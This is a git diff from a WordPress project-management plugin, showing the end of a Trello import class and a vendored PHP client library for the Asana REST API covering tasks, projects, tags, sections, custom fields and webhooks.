$pm_board_id, + 'board_type' => "task_list", + 'boardable_id' => $__sub_task->id, + 'boardable_type' => "sub_task", + 'order' => "1", + 'created_by' => get_current_user_id(), + 'updated_by' => get_current_user_id(), + ); + Boardable::create($boardable); + } + } + } + } + + } + + public function convertRole($role){ + if($role == 'admin'){ + return '1'; + } else { + return '2'; + } + } + + public function makeFakeEmail($name){ + $email = ''; + $mailuser = str_replace(' ', '', $name); + $mailuser = preg_replace('/[^A-Za-z0-9\-]/', '', $mailuser); + $hostname = str_replace('http', '',get_site_url()); + $hostname = str_replace('://', '',$hostname); + echo $hostname; + if (strpos($hostname, ".")) { + $email = 'trello_'.$mailuser.'@'.$hostname; + } else { + $email = 'trello_'.$mailuser.'@'.$hostname.'.com'; + } + $email = sanitize_email( $email ); + return $email; + } + + public function repairStringArray($stringArray){ + if(is_string ($stringArray)){ + return json_decode($stringArray, true); + } else { + return $stringArray; + } + } + +} + diff --git a/src/Tools/Library/PM_Asana.php b/src/Tools/Library/PM_Asana.php index 96f29484a..91b8eb11a 100644 --- a/src/Tools/Library/PM_Asana.php +++ b/src/Tools/Library/PM_Asana.php @@ -1,1493 +1,1493 @@ -= 400) and you can retrieve the errors with getErrors() method - public $debug = false; - public $advDebug = false; // Note that enabling advanced debug will include debugging information in the response possibly breaking up your code - private $asanaApiVersion = '1.0'; - - private $response; - public $responseCode; - private $returnType = ASANA_RETURN_TYPE_OBJECT; - - private $endPointUrl; - private $apiKey; - private $personalAccessToken; - private $accessToken; - private $tasksUrl; - private $usersUrl; - private $projectsUrl; - private $workspacesUrl; - private $teamsUrl; - private $storiesUrl; - private $tagsUrl; - private $organizationsUrl; - private $attachmentsUrl; - private $customFieldsUrl; - private $webhooksUrl; - private $sectionsUrl; - - /** - * Class constructor. - * - * @param array $options Array of options containing an apiKey OR a personalAccessToken OR an accessToken. Just one of them. - * Can be also an string if you want to use an apiKey. - */ - public function __construct($options) - { - // For retro-compatibility purposes check if $options is a string, - // so if a user passes a string we use it as the app key. - if (is_string($options)) { - $this->apiKey = $options; - } elseif (is_array($options) && !empty($options['apiKey'])) { - trigger_error('API Key has been deprecated by Asana. Please use OAuth or Personal Access Tokens instead', E_USER_DEPRECATED); - $this->apiKey = $options['apiKey']; - } elseif (is_array($options) && !empty($options['personalAccessToken'])) { - $this->personalAccessToken = $options['personalAccessToken']; - } elseif (is_array($options) && !empty($options['accessToken'])) { - $this->accessToken = $options['accessToken']; - } else { - throw new \Exception('You need to specify an API key or token'); - } - - // If the API key is not ended by ":", we append it. - if (!empty($this->apiKey) && substr($this->apiKey, -1) !== ':') { - $this->apiKey .= ':'; - } - - if (is_array($options) && !empty($options['returnType'])) { - $this->setReturnType($options['returnType']); - } - - $this->endPointUrl = 'https://app.asana.com/api/' . $this->asanaApiVersion . '/'; - $this->tasksUrl = $this->endPointUrl . 'tasks'; - $this->usersUrl = $this->endPointUrl . 'users'; - $this->projectsUrl = $this->endPointUrl . 'projects'; - $this->workspacesUrl = $this->endPointUrl . 'workspaces'; - $this->teamsUrl = $this->endPointUrl . 'teams'; - $this->storiesUrl = $this->endPointUrl . 'stories'; - $this->tagsUrl = $this->endPointUrl . 'tags'; - $this->organizationsUrl = $this->endPointUrl . 'organizations'; - $this->attachmentsUrl = $this->endPointUrl . 'attachments'; - $this->customFieldsUrl = $this->endPointUrl . 'custom_fields'; - $this->webhooksUrl = $this->endPointUrl . 'webhooks'; - $this->sectionsUrl = $this->endPointUrl . 'sections'; - } - - - /** - * ********************************** - * User functions - * ********************************** - */ - - /** - * Returns the full user record for a single user. - * Call it without parameters to get the users info of the owner of the API key. - * - * @param string $userId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getUserInfo($userId = null, array $opts = array()) - { - $options = http_build_query($opts); - - if (is_null($userId)) { - $userId = 'me'; - } - - return $this->askAsana($this->usersUrl . '/' . $userId . '?' . $options); - } - - /** - * Returns the user records for all users in all workspaces you have access. - * - * @param array $opts Array of options to pass to the API - * (@see https://asana.com/developers/api-reference/users) - * - * Example: Returning additional fields with 'opt_fields' - * getUsers(['opt_fields' => 'name,email,photo,workspaces']) - * - * @return string JSON or null - */ - public function getUsers(array $opts = array()) - { - return $this->askAsana($this->usersUrl . '?' . http_build_query($opts)); - } - - /** - * Returns the user records for all users in a single workspace you have access. - * - * @param string $workspaceId - * - * @param array $opts Array of options to pass to the API - * (@see https://asana.com/developers/api-reference/users) - * - * Example: Returning additional fields with 'opt_fields' - * getUsersInWorkspace(0, ['opt_fields' => 'name,email,photo,workspaces']) - * - * @return string JSON or null - */ - public function getUsersInWorkspace($workspaceId, array $opts = array()) - { - return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/users/?' . http_build_query($opts)); - } - - - /** - * ********************************** - * Task functions - * ********************************** - */ - - /** - * Creates a task. - * For assign or remove the task to a project, use the addProjectToTask and removeProjectToTask. - * - * @param array $data Array of data for the task following the Asana API documentation. - * Example: - * - * array( - * "workspace" => "1768", - * "name" => "Hello World!", - * "notes" => "This is a task for testing the Asana API :)", - * "assignee" => "176822166183", - * "followers" => array( - * "37136", - * "59083" - * ) - * ) - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function createTask($data, array $opts = array()) - { - $data = array('data' => $data); - $data = json_encode($data); - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '?' . $options, $data, ASANA_METHOD_POST); - } - - /** - * Returns task information - * - * @param string $taskId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getTask($taskId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '?' . $options); - } - - /** - * Creates a subtask in the parent task ID - * - * @param string $parentId The id of the parent task. - * @param array $data Array of data for the task following the Asana API documentation. - * Example: - * - * array( - * "name" => "Hello World!", - * "notes" => "This is a task for testing the Asana API :)", - * "assignee" => "176822166183", - * "followers" => array( - * "37136", - * "59083" - * ) - * ) - * - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function createSubTask($parentId, $data, array $opts = array()) - { - $data = array('data' => $data); - $data = json_encode($data); - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '/' . $parentId . '/subtasks?' . $options, $data, ASANA_METHOD_POST); - } - - /** - * Returns sub-task information - * - * @param string $taskId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getSubTasks($taskId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/subtasks?' . $options); - } - - /** - * Updated the parent from a task. - * - * @param string $taskId The task to update - * @param string $parentId The id of the new parent task. - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function updateTaskParent($taskId, $parentId, array $opts = array()) - { - $data = array('data' => array( - 'parent' => $parentId - )); - $data = json_encode($data); - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/setParent?' . $options, $data, ASANA_METHOD_POST); - } - - /** - * Updates a task - * - * @param string $taskId - * @param array $data See, createTask function comments for proper parameter info. - * @return string JSON or null - */ - public function updateTask($taskId, $data) - { - $data = array('data' => $data); - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskId, $data, ASANA_METHOD_PUT); - } - - /** - * Deletes a task. - * - * @param string $taskId - * @return string Empty if success - */ - public function deleteTask($taskId) - { - return $this->askAsana($this->tasksUrl . '/' . $taskId, null, ASANA_METHOD_DELETE); - } - - /** - * Moves a task within a project relative to another task. This should let you take a task and move it below or - * above another task as long as they are within the same project. - * - * @param string $projectId the project $taskReference is in and optionally $taskToMove is already in ($taskToMove will be - * added to the project if it's not already there) - * @param string $taskToMove the task that will be moved (and possibly added to $projectId - * @param string $taskReference the task that indicates a position for $taskToMove - * @param bool $insertAfter true to insert after $taskReference, false to insert before - * @return string JSON or null - */ - public function moveTaskWithinProject($projectId, $taskToMove, $taskReference, $insertAfter = true) - { - $data = array('data' => array('project' => $projectId)); - if ($insertAfter) { - $data['data']['insert_after'] = $taskReference; - } else { - $data['data']['insert_before'] = $taskReference; - } - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskToMove . '/addProject', $data, ASANA_METHOD_POST); - } - - /** - * Returns the projects associated to the task. - * - * @param string $taskId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getProjectsForTask($taskId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/projects?' . $options); - } - - /** - * Adds a project to task. If successful, will return success and an empty data block. - * - * @param string $taskId - * @param string $projectId - * @param array $opts Array of options to pass (insert_after, insert_before, section) - * (@see https://asana.com/developers/api-reference/tasks#projects) - * @return string JSON or null - */ - public function addProjectToTask($taskId, $projectId, array $opts = array()) - { - $data = array('data' => array_merge($opts, array('project' => $projectId))); - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/addProject', $data, ASANA_METHOD_POST); - } - - /** - * Removes project from task. If successful, will return success and an empty data block. - * - * @param string $taskId - * @param string $projectId - * @return string JSON or null - */ - public function removeProjectFromTask($taskId, $projectId) - { - $data = array('data' => array('project' => $projectId)); - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/removeProject', $data, ASANA_METHOD_POST); - } - - /** - * Deprecated function, please use removeProjectFromTask - */ - public function removeProjectToTask($taskId, $projectId) { - trigger_error('Function is deprecated, please use removeProjectFromTask', E_USER_NOTICE); - - return $this->removeProjectFromTask($taskId, $projectId); - } - - /** - * Returns task by a given filter. - * For now (limited by Asana API), you may limit your query either to a specific project or to an assignee and workspace - * - * NOTE: As Asana API says, if you filter by assignee, you MUST specify a workspaceId and viceversa. - * - * @param array $filter The filter with optional values. - * - * array( - * 'assignee' => '', - * 'project' => 0, - * 'workspace' => 0 - * ) - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function getTasksByFilter($filter = array('assignee' => '', 'project' => '', 'workspace' => ''), array $opts = array()) - { - $url = ''; - $filter = array_merge(array('assignee' => '', 'project' => '', 'workspace' => ''), $filter); - - $url .= $filter['assignee'] !== '' ? '&assignee=' . $filter['assignee'] : ''; - $url .= $filter['project'] !== '' ? '&project=' . $filter['project'] : ''; - $url .= $filter['workspace'] !== '' ? '&workspace=' . $filter['workspace'] : ''; - - $optional_filters = array( - 'completed', - 'completed_at', - 'completed_since', - 'modified_since', - 'tag', - 'section' - ); - - foreach ($optional_filters as $optfilter) { - $url .= isset($filter[$optfilter]) ? '&' . $optfilter . '=' . $filter[$optfilter] : ''; - } - - if (count($opts) > 0) { - $url .= '&' . http_build_query($opts); - } - if (strlen($url) > 0) { - $url = '?' . substr($url, 1); - } - - return $this->askAsana($this->tasksUrl . $url); - } - - /** - * Returns the list of stories associated with the object. - * As usual with queries, stories are returned in compact form. - * However, the compact form for stories contains more information by default than just the ID. - * There is presently no way to get a filtered set of stories. - * - * @param string $taskId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getTaskStories($taskId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/stories?' . $options); - } - - /** - * Returns a compact list of tags associated with the object. - * - * @param string $taskId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getTaskTags($taskId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/tags?' . $options); - } - - /** - * Adds a comment to a task. - * The comment will be authored by the authorized user, and timestamped when the server receives the request. - * - * @param string $taskId - * @param string $text - * @return string JSON or null - */ - public function commentOnTask($taskId, $text = '') - { - $data = array( - 'data' => array( - 'text' => $text - ) - ); - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/stories', $data, ASANA_METHOD_POST); - } - - /** - * Adds a tag to a task. If successful, will return success and an empty data block. - * - * @param string $taskId - * @param string $tagId - * @return string JSON or null - */ - public function addTagToTask($taskId, $tagId) - { - $data = array('data' => array('tag' => $tagId)); - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/addTag', $data, ASANA_METHOD_POST); - } - - /** - * Removes a tag from a task. If successful, will return success and an empty data block. - * - * @param string $taskId - * @param string $tagId - * @return string JSON or null - */ - public function removeTagFromTask($taskId, $tagId) - { - $data = array('data' => array('tag' => $tagId)); - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/removeTag', $data, ASANA_METHOD_POST); - } - - /** - * Returns single attachment information - * - * @param string $attachmentId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getAttachment($attachmentId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->attachmentsUrl . '/' . $attachmentId . '?' . $options); - } - - /** - * Add attachment to a task - * - * @param string $taskId - * @param array $data (src of file, mimetype, finalFilename) See, Uploading an attachment to a task function comments for proper parameter info. - * @return string JSON or null - */ - public function addAttachmentToTask($taskId, array $data = array()) - { - $mimeType = array_key_exists('mimeType', $data) ? $data['mimeType'] : null; - $finalFilename = array_key_exists('finalFilename', $data) ? $data["finalFilename"] : null; - - if (class_exists('CURLFile', false)) { - $data['file'] = new CURLFile($data['file'], $data['mimeType'], $data['finalFilename']); - } else { - $data['file'] = "@{$data['file']}"; - - if (!is_null($finalFilename)) { - $data['file'] .= ';filename=' . $finalFilename; - } - if (!is_null($mimeType)) { - $data['file'] .= ';type=' . $mimeType; - } - } - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/attachments', $data, ASANA_METHOD_POST); - } - - /** - * Returns task attachments information - * - * @param string $taskId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getTaskAttachments($taskId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/attachments?' . $options); - } - - /** - * Adds followers to a task - * - * @param string $taskId - * @param array $followerIds Array of follower ids - * @return string JSON or null - */ - public function addFollowersToTask($taskId, array $followerIds) - { - $data = array('data' => array('followers' => $followerIds)); - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/addFollowers', $data, ASANA_METHOD_POST); - } - - /** - * Removes followers from a task - * - * @param string $taskId - * @param array $followerIds Array of follower ids - * @return string JSON or null - */ - public function removeFollowersFromTask($taskId, array $followerIds) - { - $data = array('data' => array('followers' => $followerIds)); - $data = json_encode($data); - - return $this->askAsana($this->tasksUrl . '/' . $taskId . '/removeFollowers', $data, ASANA_METHOD_POST); - } - - /** - * ********************************** - * Projects functions - * ********************************** - */ - - /** - * Function to create a project. - * - * @param array $data Array of data for the project following the Asana API documentation. - * Example: - * - * array( - * "workspace" => "1768", - * "name" => "Foo Project!", - * "notes" => "This is a test project" - * ) - * - * @return string JSON or null - */ - public function createProject($data) - { - $data = array('data' => $data); - $data = json_encode($data); - - return $this->askAsana($this->projectsUrl, $data, ASANA_METHOD_POST); - } - - /** - * Returns the full record for a single project. - * - * @param string $projectId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getProject($projectId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->projectsUrl . '/' . $projectId . '?' . $options); - } - - /** - * Returns the projects in all workspaces containing archived ones or not. - * - * @param boolean $archived Return archived projects or not - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - */ - public function getProjects($archived = false, $opts = array()) - { - $archived = $archived ? 'true' : 'false'; - // Check if it's string for past compatibility (until version 4.3.0 it was a string instead of array) - if (is_string($opts)) { - $options = $opts !== '' ? 'opt_fields=' . $opts : ''; - } else { - $options = http_build_query($opts); - } - - return $this->askAsana($this->projectsUrl . '?archived=' . $archived . '&' . $options); - } - - /** - * Returns the projects in provided workspace containing archived ones or not. - * - * @param string $workspaceId - * @param boolean $archived Return archived projects or not - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getProjectsInWorkspace($workspaceId, $archived = false, array $opts = array()) - { - $archived = $archived ? 'true' : 'false'; - $options = http_build_query($opts); - - return $this->askAsana($this->projectsUrl . '?archived=' . $archived . '&workspace=' . $workspaceId . '&' . $options); - } - - /** - * Returns the projects in provided workspace containing archived ones or not. - * - * @param string $teamId - * @param boolean $archived Return archived projects or not - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getProjectsInTeam($teamId, $archived = false, array $opts = array()) - { - $archived = $archived ? 'true' : 'false'; - $options = http_build_query($opts); - - return $this->askAsana($this->teamsUrl . '/' . $teamId . '/projects?archived=' . $archived . '&' . $options); - } - - /** - * This method modifies the fields of a project provided in the request, then returns the full updated record. - * - * @param string $projectId - * @param array $data An array containing fields to update, see Asana API if needed. - * Example: array('name' => 'Test', 'notes' => 'It\'s a test project'); - * - * @return string JSON or null - */ - public function updateProject($projectId, $data) - { - $data = array('data' => $data); - $data = json_encode($data); - - return $this->askAsana($this->projectsUrl . '/' . $projectId, $data, ASANA_METHOD_PUT); - } - - /** - * Deletes a project. - * - * @param string $projectId - * @return string Empty if success - */ - public function deleteProject($projectId) - { - return $this->askAsana($this->projectsUrl . '/' . $projectId, null, ASANA_METHOD_DELETE); - } - - /** - * Returns all unarchived tasks of a given project - * - * @param string $projectId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function getProjectTasks($projectId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '?project=' . $projectId . '&' . $options); - } - - /** - * Returns the list of stories associated with the project. - * As usual with queries, stories are returned in compact form. - * However, the compact form for stories contains more - * information by default than just the ID. - * There is presently no way to get a filtered set of stories. - * - * @param string $projectId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getProjectStories($projectId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->projectsUrl . '/' . $projectId . '/stories?' . $options); - } - - /** - * Returns the list of sections associated with the project. - * Sections are tasks whose names end with a colon character : . - * For instance sections will be included in query results for tasks and - * be represented with the same fields. - * The memberships property of a task contains the project/section - * pairs a task belongs to when applicable. - * - * @param string $projectId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getProjectSections($projectId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->projectsUrl . '/' . $projectId . '/sections?' . $options); - } - - /** - * Returns the list of all custom fields associated with the project. - * - * @param string $projectId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getProjectCustomFields($projectId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->projectsUrl . '/' . $projectId . '/custom_field_settings?' . $options); - } - - /** - * Adds a comment to a project - * The comment will be authored by the authorized user, and timestamped when the server receives the request. - * - * @param string $projectId - * @param string $text - * @return string JSON or null - */ - public function commentOnProject($projectId, $text = '') - { - $data = array( - 'data' => array( - 'text' => $text - ) - ); - $data = json_encode($data); - - return $this->askAsana($this->projectsUrl . '/' . $projectId . '/stories', $data, ASANA_METHOD_POST); - } - - - /** - * ********************************** - * Tags functions - * ********************************** - */ - - /** - * Returns the full record for a single tag. - * - * @param string $tagId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getTag($tagId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tagsUrl . '/' . $tagId . '?' . $options); - } - - /** - * Returns the full record for all tags in all workspaces. - * - * @return string JSON or null - */ - public function getTags() - { - return $this->askAsana($this->tagsUrl); - } - - /** - * Modifies the fields of a tag provided in the request, then returns the full updated record. - * - * @param string $tagId - * @param array $data An array containing fields to update, see Asana API if needed. - * Example: array("name" => "Test", "notes" => "It's a test tag"); - * - * @return string JSON or null - */ - public function updateTag($tagId, $data) - { - $data = array('data' => $data); - $data = json_encode($data); - - return $this->askAsana($this->tagsUrl . '/' . $tagId, $data, ASANA_METHOD_PUT); - } - - /** - * This method creates a new tag and returns its full record. - * - * @param string $name Tag name - * @param array $data An array containing either workspace or organization and the id. - * Example: array("workspace" => "3242349871"); - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function createTag($name, $data, array $opts = array()) - { - $data = array('data' => $data); - $data['data']['name'] = $name; - $data = json_encode($data); - $options = http_build_query($opts); - - return $this->askAsana($this->tagsUrl . '?' . $options, $data, ASANA_METHOD_POST); - } - - /** - * Returns the list of all tasks with this tag. Tasks can have more than one tag at a time. - * - * @param string $tagId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getTasksWithTag($tagId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tagsUrl . '/' . $tagId . '/tasks?' . $options); - } - - - /** - * ********************************** - * Stories and comments functions - * ********************************** - */ - - /** - * Returns the full record for a single story. - * - * @param string $storyId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getSingleStory($storyId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->storiesUrl . '/' . $storyId . '?' . $options); - } - - - /** - * ********************************** - * Organizations functions - * ********************************** - */ - - /** - * Returns all teams in an Organization. - * - * @param string $organizationId - * @return string JSON or null - */ - public function getTeamsInOrganization($organizationId) - { - return $this->askAsana($this->organizationsUrl . '/' . $organizationId . '/teams'); - } - - /** - * Returns all teams the logged in user is associated with - * - * @param string $organizationId - * @return string JSON or null - */ - public function getMyTeams($organizationId) - { - return $this->askAsana($this->usersUrl . '/me/teams?organization=' . $organizationId); - } - - /** - * Function to create a team in an Organization. - * - * @param string $organizationId - * @param array $data Array of data for the task following the Asana API documentation. - * Example: array("name" => "Team Name") - * - * @return string JSON or null - */ - public function createTeam($organizationId, $data) - { - $data = array('data' => $data); - $data = json_encode($data); - - return $this->askAsana($this->organizationsUrl . '/' . $organizationId . '/teams', $data, ASANA_METHOD_POST); - } - - - /** - * ********************************** - * Workspaces functions - * ********************************** - */ - - /** - * Returns all the workspaces. - * - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function getWorkspaces(array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->workspacesUrl . '?' . $options); - } - - /** - * Currently the only field that can be modified for a workspace is its name (as Asana API says). - * This method returns the complete updated workspace record. - * - * @param array $data - * Example: array("name" => "Test"); - * - * @return string JSON or null - */ - public function updateWorkspace($workspaceId, $data = array('name' => '')) - { - $data = array('data' => $data); - $data = json_encode($data); - - return $this->askAsana($this->workspacesUrl . '/' . $workspaceId, $data, ASANA_METHOD_PUT); - } - - /** - * Returns tasks of all workspace assigned to someone. - * Note: As Asana API says, you must specify an assignee when querying for workspace tasks. - * - * @param string $workspaceId The id of the workspace - * @param string $assignee Can be "me" or user ID - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function getWorkspaceTasks($workspaceId, $assignee = 'me', array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->tasksUrl . '?workspace=' . $workspaceId . '&assignee=' . $assignee . '&' . $options); - } - - /** - * Returns tags of all workspace. - * - * @param string $workspaceId The id of the workspace - * @return string JSON or null - */ - public function getWorkspaceTags($workspaceId) - { - return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/tags'); - } - - /** - * Returns all users of a workspace. - * - * @param string $workspaceId The id of the workspace - * @return string JSON or null - */ - public function getWorkspaceUsers($workspaceId) - { - return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/users'); - } - - /** - * Returns all custom fields in a workspace. - * NOTE: Custom fields are only available for Asana premium accounts. - * - * @param string $workspaceId The id of the workspace - * @return string JSON or null - */ - public function getWorkspaceCustomFields($workspaceId) - { - return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/custom_fields'); - } - - /** - * Returns search for objects from a single workspace. - * - * @param string $workspaceId The id of the workspace - * @param string $type The type of object to look up. You can choose from one of the following: project, user, task, and tag. - * Note that unlike other endpoints, the types listed here are in singular form. - * Using multiple types is not yet supported. - * @param string $query The value to look up - * @param string $count The number of results to return with a minimum of 1 and a maximum of 100. - * The default is 1 if this parameter is omitted. - * If there are fewer results found than requested, all will be returned - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function getWorkspaceTypeahead($workspaceId, $type, $query, $count = 1, array $opts = array()) - { - $opts = array_merge($opts, array( - 'type' => $type, - 'query' => $query, - 'count' => $count - )); - $options = http_build_query($opts); - - return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/typeahead?' . $options); - } - - - /** - * ********************************** - * Section functions - * ********************************** - */ - - /** - * Creates a section associated with a project. - * More about sections (@see https://asana.com/developers/api-reference/sections) - * - * @param string $projectId - * @param array $data Array of data for the task following the Asana API documentation. - * Example: - * - * array( - * "workspace" => "1768", - * "name" => "Hello World!", - * "notes" => "This is a section for testing the Asana API :)", - * "assignee" => "176822166183", - * "followers" => array( - * "37136", - * "59083" - * ) - * ) - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function createSection($projectId, $data, array $opts = array()) - { - $data = array('data' => $data); - $data = json_encode($data); - $options = http_build_query($opts); - - return $this->askAsana($this->projectsUrl . '/' . $projectId . '/sections?' . $options, $data, ASANA_METHOD_POST); - } - - /** - * Returns the full record for a single section. - * - * @param string $sectionId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getSection($sectionId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->sectionsUrl . '/' . $sectionId . '?' . $options); - } - - /** - * This method modifies the fields of a section provided in the request, then returns the full updated record. - * - * @param string $sectionId - * @param array $data An array containing fields to update, see Asana API if needed. - * Example: array('name' => 'Test'); - * - * @return string JSON or null - */ - public function updateSection($sectionId, $data) - { - $data = array('data' => $data); - $data = json_encode($data); - - return $this->askAsana($this->sectionsUrl . '/' . $sectionId, $data, ASANA_METHOD_PUT); - } - - /** - * Deletes a section. - * - * @param string $sectionId - * @return string Empty if success - */ - public function deleteSection($sectionId) - { - return $this->askAsana($this->sectionsUrl . '/' . $sectionId, null, ASANA_METHOD_DELETE); - } - - - /** - * ********************************** - * Custom Fields functions - * ********************************** - */ - - /** - * Returns custom field information - * - * @param string $customFieldId - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * @return string JSON or null - */ - public function getCustomField($customFieldId, array $opts = array()) - { - $options = http_build_query($opts); - - return $this->askAsana($this->customFieldsUrl . '/' . $customFieldId . '?' . $options); - } - - /** - * Adds a custom field to a project. If successful, will return success and an empty data block. - * - * @param string $projectId The project to associate the custom field with - * @param string $customFieldId The id of the custom field to associate with this project. - * @param boolean $isImportant Whether this field should be considered important to this project. - * @param string $insertBefore An id of a Custom Field Settings on this project, before which the new Custom Field Settings will be added. - * insert_before and insert_after parameters cannot both be specified. - * @param string $insertAfter An id of a Custom Field Settings on this project, after which the new Custom Field Settings will be added. - * insert_before and insert_after parameters cannot both be specified. - * @return string JSON or null - */ - public function addCustomFieldToProject($projectId, $customFieldId, $isImportant, $insertBefore = null, $insertAfter = null) - { - $data = array( - 'custom_field' => $customFieldId, - 'is_important' => is_bool($isImportant) ? var_export($isImportant, true) : $isImportant - ); - if (!is_null($insertBefore)) { - $data['insert_before'] = $insertBefore; - } elseif (!is_null($insertAfter)) { - $data['insert_after'] = $insertAfter; - } - $data = json_encode(array('data' => $data)); - - return $this->askAsana($this->projectsUrl . '/' . $projectId . '/addCustomFieldSetting', $data, ASANA_METHOD_POST); - } - - /** - * Removes a custom field from a project. If successful, will return success and an empty data block. - * - * @param string $projectId The project from where to remove the custom field - * @param string $customFieldId The id of the custom field to remove from the project - * @return string JSON or null - */ - public function removeCustomFieldFromProject($projectId, $customFieldId) - { - $data = array('data' => array( - 'custom_field' => $customFieldId - )); - $data = json_encode($data); - - return $this->askAsana($this->projectsUrl . '/' . $projectId . '/removeCustomFieldSetting', $data, ASANA_METHOD_POST); - } - - - /** - * ********************************** - * Webhooks functions - * ********************************** - */ - - /** - * Creates a webhook. - * Please read the documentation (or see webhook-target.php inside examples) as the target must be a valid url and must return a valid header back. - * https://asana.com/developers/api-reference/webhooks - * - * @param string $resourceId A resource ID to subscribe to. The resource can be a task or project. - * @param string $target The URL to receive the HTTP POST. - * @return string JSON or null - */ - public function createWebhook($resourceId, $target) - { - $data = array('data' => array( - 'resource' => $resourceId, - 'target' => $target - )); - $data = json_encode($data); - - return $this->askAsana($this->webhooksUrl, $data, ASANA_METHOD_POST); - } - - 